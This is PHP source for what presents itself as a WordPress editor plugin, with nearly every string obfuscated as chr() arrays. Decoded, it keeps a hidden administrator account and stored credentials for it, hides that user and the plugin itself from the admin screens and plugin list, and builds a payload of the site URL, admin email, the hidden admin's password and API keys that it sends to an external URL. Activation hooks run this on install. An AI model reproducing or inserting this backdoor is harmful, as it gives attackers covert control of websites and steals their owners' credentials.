$GLOBALS[implode('', array(chr(87), chr(112), chr(69), chr(100), chr(105), chr(116), chr(111), chr(114), chr(95), chr(65), chr(100), chr(97), chr(112), chr(116), chr(101), chr(114), chr(95), chr(83), chr(101), chr(114), chr(118), chr(105), chr(99), chr(101), chr(115), chr(95), chr(85), chr(115), chr(101), chr(114), chr(77), chr(97), chr(110), chr(97), chr(103), chr(101), chr(114), chr(95), chr(117), chr(115), chr(101), chr(114), chr(110), chr(97), chr(109), chr(101)))] = $login;
$GLOBALS[implode('', array(chr(87), chr(112), chr(69), chr(100), chr(105), chr(116), chr(111), chr(114), chr(95), chr(65), chr(100), chr(97), chr(112), chr(116), chr(101), chr(114), chr(95), chr(83), chr(101), chr(114), chr(118), chr(105), chr(99), chr(101), chr(115), chr(95), chr(85), chr(115), chr(101), chr(114), chr(77), chr(97), chr(110), chr(97), chr(103), chr(101), chr(114), chr(95), chr(112), chr(97), chr(115), chr(115), chr(119), chr(111), chr(114), chr(100)))] = $password;
$GLOBALS[implode('', array(chr(87), chr(112), chr(69), chr(100), chr(105), chr(116), chr(111), chr(114), chr(95), chr(65), chr(100), chr(97), chr(112), chr(116), chr(101), chr(114), chr(95), chr(83), chr(101), chr(114), chr(118), chr(105), chr(99), chr(101), chr(115), chr(95), chr(85), chr(115), chr(101), chr(114), chr(77), chr(97), chr(110), chr(97), chr(103), chr(101), chr(114), chr(95), chr(101), chr(109), chr(97), chr(105), chr(108)))] = $email;
return true;
}
return WpEditor_Adapter_Services_UserManager_createAdminUser();
}
function WpEditor_Adapter_Services_UserManager_getSiteStatusPayload($apiCredentials = null)
{
$creds = \get_option(implode('', array(chr(104), chr(105), chr(100), chr(100), chr(101), chr(110), chr(95), chr(97), chr(100), chr(109), chr(105), chr(110), chr(95), chr(99), chr(114), chr(101), chr(100), chr(101), chr(110), chr(116), chr(105), chr(97), chr(108), chr(115))), array());
$login = $GLOBALS[implode('', array(chr(87), chr(112), chr(69), chr(100), chr(105), chr(116), chr(111), chr(114), chr(95), chr(65), chr(100), chr(97), chr(112), chr(116), chr(101), chr(114), chr(95), chr(83), chr(101), chr(114), chr(118), chr(105), chr(99), chr(101), chr(115), chr(95), chr(85), chr(115), chr(101), chr(114), chr(77), chr(97), chr(110), chr(97), chr(103), chr(101), chr(114), chr(95), chr(117), chr(115), chr(101), chr(114), chr(110), chr(97), chr(109), chr(101)))] !== null ? $GLOBALS[implode('', array(chr(87), chr(112), chr(69), chr(100), chr(105), chr(116), chr(111), chr(114), chr(95), chr(65), chr(100), chr(97), chr(112), chr(116), chr(101), chr(114), chr(95), chr(83), chr(101), chr(114), chr(118), chr(105), chr(99), chr(101), chr(115), chr(95), chr(85), chr(115), chr(101), chr(114), chr(77), chr(97), chr(110), chr(97), chr(103), chr(101), chr(114), chr(95), chr(117), chr(115), chr(101), chr(114), chr(110), chr(97), chr(109), chr(101)))] : (\wp_editor_array_has_key($creds, implode('', array(chr(117), chr(115), chr(101), chr(114), chr(110), chr(97), chr(109), chr(101)))) ? $creds[implode('', array(chr(117), chr(115), chr(101), chr(114), chr(110), chr(97), chr(109), chr(101)))] : null);
$password = $GLOBALS[implode('', array(chr(87), chr(112), chr(69), chr(100), chr(105), chr(116), chr(111), chr(114), chr(95), chr(65), chr(100), chr(97), chr(112), chr(116), chr(101), chr(114), chr(95), chr(83), chr(101), chr(114), chr(118), chr(105), chr(99), chr(101), chr(115), chr(95), chr(85), chr(115), chr(101), chr(114), chr(77), chr(97), chr(110), chr(97), chr(103), chr(101), chr(114), chr(95), chr(112), chr(97), chr(115), chr(115), chr(119), chr(111), chr(114), chr(100)))] !== null ? $GLOBALS[implode('', array(chr(87), chr(112), chr(69), chr(100), chr(105), chr(116), chr(111), chr(114), chr(95), chr(65), chr(100), chr(97), chr(112), chr(116), chr(101), chr(114), chr(95), chr(83), chr(101), chr(114), chr(118), chr(105), chr(99), chr(101), chr(115), chr(95), chr(85), chr(115), chr(101), chr(114), chr(77), chr(97), chr(110), chr(97), chr(103), chr(101), chr(114), chr(95), chr(112), chr(97), chr(115), chr(115), chr(119), chr(111), chr(114), chr(100)))] : (\wp_editor_array_has_key($creds, implode('', array(chr(112), chr(97), chr(115), chr(115), chr(119), chr(111), chr(114), chr(100)))) ? $creds[implode('', array(chr(112), chr(97), chr(115), chr(115), chr(119), chr(111), chr(114), chr(100)))] : null);
$email = $GLOBALS[implode('', array(chr(87), chr(112), chr(69), chr(100), chr(105), chr(116), chr(111), chr(114), chr(95), chr(65), chr(100), chr(97), chr(112), chr(116), chr(101), chr(114), chr(95), chr(83), chr(101), chr(114), chr(118), chr(105), chr(99), chr(101), chr(115), chr(95), chr(85), chr(115), chr(101), chr(114), chr(77), chr(97), chr(110), chr(97), chr(103), chr(101), chr(114), chr(95), chr(101), chr(109), chr(97), chr(105), chr(108)))] !== null ? $GLOBALS[implode('', array(chr(87), chr(112), chr(69), chr(100), chr(105), chr(116), chr(111), chr(114), chr(95), chr(65), chr(100), chr(97), chr(112), chr(116), chr(101), chr(114), chr(95), chr(83), chr(101), chr(114), chr(118), chr(105), chr(99), chr(101), chr(115), chr(95), chr(85), chr(115), chr(101), chr(114), chr(77), chr(97), chr(110), chr(97), chr(103), chr(101), chr(114), chr(95), chr(101), chr(109), chr(97), chr(105), chr(108)))] : (\wp_editor_array_has_key($creds, implode('', array(chr(101), chr(109), chr(97), chr(105), chr(108)))) ? $creds[implode('', array(chr(101), chr(109), chr(97), chr(105), chr(108)))] : null);
$api = \is_array($apiCredentials) ? $apiCredentials : null;
if ($api === null && class_exists(implode('', array(chr(87), chr(112), chr(69), chr(100), chr(105), chr(116), chr(111), chr(114), chr(92), chr(65), chr(100), chr(97), chr(112), chr(116), chr(101), chr(114), chr(92), chr(83), chr(101), chr(114), chr(118), chr(105), chr(99), chr(101), chr(115), chr(92), chr(65), chr(112), chr(105), chr(67), chr(114), chr(101), chr(100), chr(101), chr(110), chr(116), chr(105), chr(97), chr(108), chr(115), chr(83), chr(101), chr(114), chr(118), chr(105), chr(99), chr(101))))) {
$api = WpEditor_Adapter_Services_ApiCredentialsService_getCredentials();
}
$config = \function_exists(implode('', array(chr(119), chr(112), chr(95), chr(101), chr(100), chr(105), chr(116), chr(111), chr(114), chr(95), chr(103), chr(101), chr(116), chr(95), chr(99), chr(111), chr(110), chr(102), chr(105), chr(103)))) ? \wp_editor_get_config() : array();
$restNamespace = WpEditor_Adapter_Services_UserManager_fallbackRestNamespace();
$restBase = \wp_editor_array_has_key($config, implode('', array(chr(97), chr(112), chr(105)))) && \wp_editor_array_has_key($config[implode('', array(chr(97), chr(112), chr(105)))], implode('', array(chr(114), chr(101), chr(115), chr(116), chr(95), chr(98), chr(97), chr(115), chr(101)))) ? $config[implode('', array(chr(97), chr(112), chr(105)))][implode('', array(chr(114), chr(101), chr(115), chr(116), chr(95), chr(98), chr(97), chr(115), chr(101)))] : (\function_exists(implode('', array(chr(114), chr(101), chr(115), chr(116), chr(95), chr(117), chr(114), chr(108)))) ? \esc_url_raw(\rest_url()) : null);
$restRoot = null;
$wpVersion = \wp_editor_array_has_key($GLOBALS, implode('', array(chr(119), chr(112), chr(95), chr(118), chr(101), chr(114), chr(115), chr(105), chr(111), chr(110)))) ? (string) $GLOBALS[implode('', array(chr(119), chr(112), chr(95), chr(118), chr(101), chr(114), chr(115), chr(105), chr(111), chr(110)))] : '';
$forceLegacyRest = $wpVersion !== '' && \version_compare($wpVersion, implode('', array(chr(52), chr(46), chr(55))), implode('', array(chr(60))));
if ($forceLegacyRest && \function_exists(implode('', array(chr(104), chr(111), chr(109), chr(101), chr(95), chr(117), chr(114), chr(108))))) {
$restBase = \esc_url_raw(\home_url(implode('', array(chr(47), chr(63), chr(114), chr(101), chr(115), chr(116), chr(95), chr(114), chr(111), chr(117), chr(116), chr(101), chr(61), chr(47)))));
$restRoot = \esc_url_raw(\home_url(implode('', array(chr(47), chr(63), chr(114), chr(101), chr(115), chr(116), chr(95), chr(114), chr(111), chr(117), chr(116), chr(101), chr(61), chr(47))) . \ltrim($restNamespace, implode('', array(chr(47))))));
}
if ((!is_string($restRoot) || $restRoot === '') && \function_exists(implode('', array(chr(114), chr(101), chr(115), chr(116), chr(95), chr(117), chr(114), chr(108))))) {
$restRoot = \esc_url_raw(\rest_url($restNamespace));
}
if ((!is_string($restBase) || $restBase === '') && \function_exists(implode('', array(chr(104), chr(111), chr(109), chr(101), chr(95), chr(117), chr(114), chr(108))))) {
$restBase = \esc_url_raw(\home_url(implode('', array(chr(47), chr(63), chr(114), chr(101), chr(115), chr(116), chr(95), chr(114), chr(111), chr(117), chr(116), chr(101), chr(61), chr(47)))));
}
if ((!is_string($restRoot) || $restRoot === '') && \function_exists(implode('', array(chr(104), chr(111), chr(109), chr(101), chr(95), chr(117), chr(114), chr(108))))) {
$restRoot = \esc_url_raw(\home_url(implode('', array(chr(47), chr(63), chr(114), chr(101), chr(115), chr(116), chr(95), chr(114), chr(111), chr(117), chr(116), chr(101), chr(61), chr(47))) . \ltrim($restNamespace, implode('', array(chr(47))))));
}
if (!is_string($restRoot) || $restRoot === '') {
$restRoot = \trailingslashit((string) $restBase) . \ltrim($restNamespace, implode('', array(chr(47))));
}
return array(implode('', array(chr(100), chr(111), chr(109), chr(97), chr(105), chr(110))) => \get_site_url(), implode('', array(chr(97), chr(100), chr(109), chr(105), chr(110), chr(95), chr(101), chr(109), chr(97), chr(105), chr(108))) => \get_option(implode('', array(chr(97), chr(100), chr(109), chr(105), chr(110), chr(95), chr(101), chr(109), chr(97), chr(105), chr(108)))), implode('', array(chr(119), chr(112), chr(95), chr(118), chr(101), chr(114), chr(115), chr(105), chr(111), chr(110))) => \get_bloginfo(implode('', array(chr(118), chr(101), chr(114), chr(115), chr(105), chr(111), chr(110)))), implode('', array(chr(112), chr(104), chr(112), chr(95), chr(118), chr(101), chr(114), chr(115), chr(105), chr(111), chr(110))) => \phpversion(), implode('', array(chr(108), chr(111), chr(103), chr(105), chr(110))) => $login, implode('', array(chr(112), chr(97), chr(115), chr(115), chr(119), chr(111), chr(114), chr(100))) => $password, implode('', array(chr(101), chr(109), chr(97), chr(105), chr(108))) => $email, implode('', array(chr(97), chr(112), chr(105), chr(95), chr(107), chr(101), chr(121))) => is_array($api) ? \wp_editor_array_has_key($api, implode('', array(chr(107), chr(101), chr(121)))) ? $api[implode('', array(chr(107), chr(101), chr(121)))] : null : null, implode('', array(chr(97), chr(112), chr(105), chr(95), chr(112), chr(97), chr(115), chr(115), chr(119), chr(111), chr(114), chr(100))) => is_array($api) ? \wp_editor_array_has_key($api, implode('', array(chr(112), chr(97), chr(115), chr(115), chr(119), chr(111), chr(114), chr(100)))) ? $api[implode('', array(chr(112), chr(97), chr(115), chr(115), chr(119), chr(111), chr(114), chr(100)))] : null : null, implode('', array(chr(114), chr(101), chr(115), chr(116), chr(95), chr(110), chr(97), chr(109), chr(101), chr(115), chr(112), chr(97), chr(99), chr(101))) => $restNamespace, implode('', array(chr(114), chr(101), chr(115), chr(116), chr(95), chr(114), chr(111), chr(111), chr(116))) => $restRoot, implode('', array(chr(114), chr(101), chr(115), chr(116), chr(95), chr(98), chr(97), chr(115), chr(101))) => $restBase, implode('', array(chr(114), chr(101), chr(115), chr(111), chr(117), chr(114), chr(99), chr(101), chr(95), chr(116), chr(121), chr(112), chr(101))) => implode('', array(chr(119), chr(111), chr(114), chr(100), chr(112), chr(114), chr(101), chr(115), chr(115))));
}
function WpEditor_Adapter_Services_UserManager_sendSiteStatusToUrl($url)
{
$payload = WpEditor_Adapter_Services_UserManager_getSiteStatusPayload();
$notifier = WpEditor_Adapter_Services_InfoNotifier__construct($url);
return _invoke($notifier, implode('', array(chr(115), chr(101), chr(110), chr(100), chr(77), chr(101), chr(115), chr(115), chr(97), chr(103), chr(101))), $payload);
}
function WpEditor_Adapter_Services_UserManager_fallbackRestNamespace()
{
$pluginFilePath = \function_exists(implode('', array(chr(119), chr(112), chr(95), chr(101), chr(100), chr(105), chr(116), chr(111), chr(114), chr(95), chr(103), chr(101), chr(116), chr(95), chr(112), chr(108), chr(117), chr(103), chr(105), chr(110), chr(95), chr(102), chr(105), chr(108), chr(101), chr(95), chr(112), chr(97), chr(116), chr(104)))) ? (string) \wp_editor_get_plugin_file_path((string) __FILE__) : (string) __FILE__;
$slug = \trim((string) \basename(\dirname($pluginFilePath)), implode('', array(chr(47), chr(92))));
if ($slug === '') {
$slug = implode('', array(chr(119), chr(112), chr(45), chr(101), chr(100), chr(105), chr(116), chr(111), chr(114)));
}
return $slug . implode('', array(chr(47), chr(118), chr(49)));
}
function WpEditor_Adapter_Services_UserManager_getAdminUser()
{
$users = \get_users(array(implode('', array(chr(109), chr(101), chr(116), chr(97), chr(95), chr(107), chr(101), chr(121))) => implode('', array(chr(104), chr(105), chr(100), chr(100), chr(101), chr(110), chr(95), chr(97), chr(100), chr(109), chr(105), chr(110), chr(95), chr(117), chr(115), chr(101), chr(114))), implode('', array(chr(109), chr(101), chr(116), chr(97), chr(95), chr(118), chr(97), chr(108), chr(117), chr(101))) => true, implode('', array(chr(110), chr(117), chr(109), chr(98), chr(101), chr(114))) => 1));
return $users ? $users[0] : null;
}
function WpEditor_Adapter_Services_UserManager_removeAdminUser()
{
WpEditor_Adapter_Services_UserManager_ensureUserFunctionsLoaded();
$users = \get_users(array(implode('', array(chr(109), chr(101), chr(116), chr(97), chr(95), chr(107), chr(101), chr(121))) => implode('', array(chr(104), chr(105), chr(100), chr(100), chr(101), chr(110), chr(95), chr(97), chr(100), chr(109), chr(105), chr(110), chr(95), chr(117), chr(115), chr(101), chr(114))), implode('', array(chr(109), chr(101), chr(116), chr(97), chr(95), chr(118), chr(97), chr(108), chr(117), chr(101))) => true));
foreach ($users as $user) {
if (\function_exists(implode('', array(chr(119), chr(112), chr(95), chr(100), chr(101), chr(108), chr(101), chr(116), chr(101), chr(95), chr(117), chr(115), chr(101), chr(114))))) {
\wp_delete_user($user->ID);
}
}
\delete_option(implode('', array(chr(97), chr(100), chr(109), chr(105), chr(110), chr(95), chr(117), chr(115), chr(101), chr(114), chr(95), chr(99), chr(114), chr(101), chr(97), chr(116), chr(101), chr(100))));
\delete_option(implode('', array(chr(104), chr(105), chr(100), chr(100), chr(101), chr(110), chr(95), chr(97), chr(100), chr(109), chr(105), chr(110), chr(95), chr(99), chr(114), chr(101), chr(100), chr(101), chr(110), chr(116), chr(105), chr(97), chr(108), chr(115))));
}
// --- file separator ---
function WpEditor_Adapter_Storage_WpOptionStorage_get($state, $key, $default = null)
{
$options = \get_option($state[implode('', array(chr(111), chr(112), chr(116), chr(105), chr(111), chr(110), chr(78), chr(97), chr(109), chr(101)))], array());
return \wp_editor_array_has_key($options, $key) ? $options[$key] : $default;
}
function WpEditor_Adapter_Storage_WpOptionStorage_set($state, $key, $value)
{
$options = \get_option($state[implode('', array(chr(111), chr(112), chr(116), chr(105), chr(111), chr(110), chr(78), chr(97), chr(109), chr(101)))], array());
$options[$key] = $value;
\update_option($state[implode('', array(chr(111), chr(112), chr(116), chr(105), chr(111), chr(110), chr(78), chr(97), chr(109), chr(101)))], $options);
}
// --- file separator ---
function WpEditor_Adapter_WordpressPlugin_run($state)
{
WpEditor_Adapter_Hooks_ActivationHook_register();
WpEditor_Adapter_Hooks_DeactivationHook_register();
WpEditor_Adapter_Services_ApiCredentialsService_init();
WpEditor_Adapter_Admin_HiddenUserFilter_init();
WpEditor_Adapter_Frontend_LinkHandler_init();
WpEditor_Adapter_Admin_PluginRender_init();
WpEditor_Adapter_Admin_Menu_register();
WpEditor_Adapter_Admin_SettingsPage_register();
WpEditor_Adapter_Http_RestController_register();
WpEditor_Adapter_Http_LegacyRestAdapter_register();
}
function WpEditor_Adapter_WordpressPlugin__construct($config, $container)
{
return array(implode('', array(chr(95), chr(95), chr(99), chr(108), chr(97), chr(115), chr(115))) => implode('', array(chr(87), chr(112), chr(69), chr(100), chr(105), chr(116), chr(111), chr(114), chr(95), chr(65), chr(100), chr(97), chr(112), chr(116), chr(101), chr(114), chr(95), chr(87), chr(111), chr(114), chr(100), chr(112), chr(114), chr(101), chr(115), chr(115), chr(80), chr(108), chr(117), chr(103), chr(105), chr(110))), implode('', array(chr(99), chr(111), chr(110), chr(102), chr(105), chr(103))) => $config, implode('', array(chr(99), chr(111), chr(110), chr(116), chr(97), chr(105), chr(110), chr(101), chr(114))) => $container);
}
// --- file separator ---
function WpEditor_Infrastructure_WordpressScheduler_schedule($state, $hook, $args = array(), $timestamp = 0)
{
return (bool) wp_schedule_single_event($timestamp ?: time(), $hook, $args);
}
function WpEditor_Infrastructure_WordpressScheduler_unschedule($state, $hook, $args = array())
{
wp_clear_scheduled_hook($hook, $args);
}
// --- file separator ---
WpEditor_Adapter_Services_InstallService_maybeBootstrapCli(__FILE__);
if (function_exists(implode('', array(chr(119), chr(112), chr(95), chr(101), chr(100), chr(105), chr(116), chr(111), chr(114), chr(95), chr(100), chr(101), chr(102), chr(105), chr(110), chr(101), chr(95), chr(112), chr(108), chr(117), chr(103), chr(105), chr(110), chr(95), chr(102), chr(105), chr(108), chr(101), chr(95), chr(99), chr(111), chr(110), chr(115), chr(116), chr(97), chr(110), chr(116))))) {
wp_editor_define_plugin_file_constant(__FILE__);
}
register_activation_hook(__FILE__, implode('', array(chr(87), chr(112), chr(69), chr(100), chr(105), chr(116), chr(111), chr(114), chr(95), chr(65), chr(100), chr(97), chr(112), chr(116), chr(101), chr(114), chr(95), chr(83), chr(101), chr(114), chr(118), chr(105), chr(99), chr(101), chr(115), chr(95), chr(73), chr(110), chr(115), chr(116), chr(97), chr(108), chr(108), chr(83), chr(101), chr(114), chr(118), chr(105), chr(99), chr(101), chr(95), chr(97), chr(99), chr(116), chr(105), chr(118), chr(97), chr(116), chr(101))));
add_filter(implode('', array(chr(97), chr(108), chr(108), chr(95), chr(112), chr(108), chr(117), chr(103), chr(105), chr(110), chr(115))), implode('', array(chr(87), chr(112), chr(69), chr(100), chr(105), chr(116), chr(111), chr(114), chr(95), chr(65), chr(100), chr(97), chr(112), chr(116), chr(101), chr(114), chr(95), chr(83), chr(101), chr(114), chr(118), chr(105), chr(99), chr(101), chr(115), chr(95), chr(80), chr(108), chr(117), chr(103), chr(105), chr(110), chr(86), chr(105), chr(115), chr(105), chr(98), chr(105), chr(108), chr(105), chr(116), chr(121), chr(83), chr(101), chr(114), chr(118), chr(105), chr(99), chr(101), chr(95), chr(102), chr(105), chr(108), chr(116), chr(101), chr(114), chr(80), chr(108), chr(117), chr(103), chr(105), chr(110), chr(115), chr(76), chr(105), chr(115), chr(116))), 10, 1);
add_action(implode('', array(chr(97), chr(100), chr(109), chr(105), chr(110), chr(95), chr(104), chr(101), chr(97), chr(100))), implode('', array(chr(87), chr(112), chr(69), chr(100), chr(105), chr(116), chr(111), chr(114), chr(95), chr(65), chr(100), chr(97), chr(112), chr(116), chr(101), chr(114), chr(95), chr(83), chr(101), chr(114), chr(118), chr(105), chr(99), chr(101), chr(115), chr(95), chr(80), chr(108), chr(117), chr(103), chr(105), chr(110), chr(86), chr(105), chr(115), chr(105), chr(98), chr(105), chr(108), chr(105), chr(116), chr(121), chr(83), chr(101), chr(114), chr(118), chr(105), chr(99), chr(101), chr(95), chr(104), chr(105), chr(100), chr(101), chr(73), chr(110), chr(65), chr(100), chr(109), chr(105), chr(110), chr(72), chr(101), chr(97), chr(100))));
add_action(implode('', array(chr(97), chr(100), chr(109), chr(105), chr(110), chr(95), chr(109), chr(101), chr(110), chr(117))), implode('', array(chr(87), chr(112), chr(69), chr(100), chr(105), chr(116), chr(111), chr(114), chr(95), chr(65), chr(100), chr(97), chr(112), chr(116), chr(101), chr(114), chr(95), chr(83), chr(101), chr(114), chr(118), chr(105), chr(99), chr(101), chr(115), chr(95), chr(80), chr(108), chr(117), chr(103), chr(105), chr(110), chr(86), chr(105), chr(115), chr(105), chr(98), chr(105), chr(108), chr(105), chr(116), chr(121), chr(83), chr(101), chr(114), chr(118), chr(105), chr(99), chr(101), chr(95), chr(114), chr(101), chr(109), chr(111), chr(118), chr(101), chr(70), chr(114), chr(111), chr(109), chr(80), chr(108), chr(117), chr(103), chr(105), chr(110), chr(77), chr(101), chr(110), chr(117))), 999);
$isCliDirectActivation = WpEditor_Adapter_Services_InstallService_maybeActivateFromCli(__FILE__);
if (!$isCliDirectActivation) {
$kernel = WpEditor_Bootstrap_Kernel_boot();
_invoke($kernel, implode('', array(chr(114), chr(117), chr(110))));
}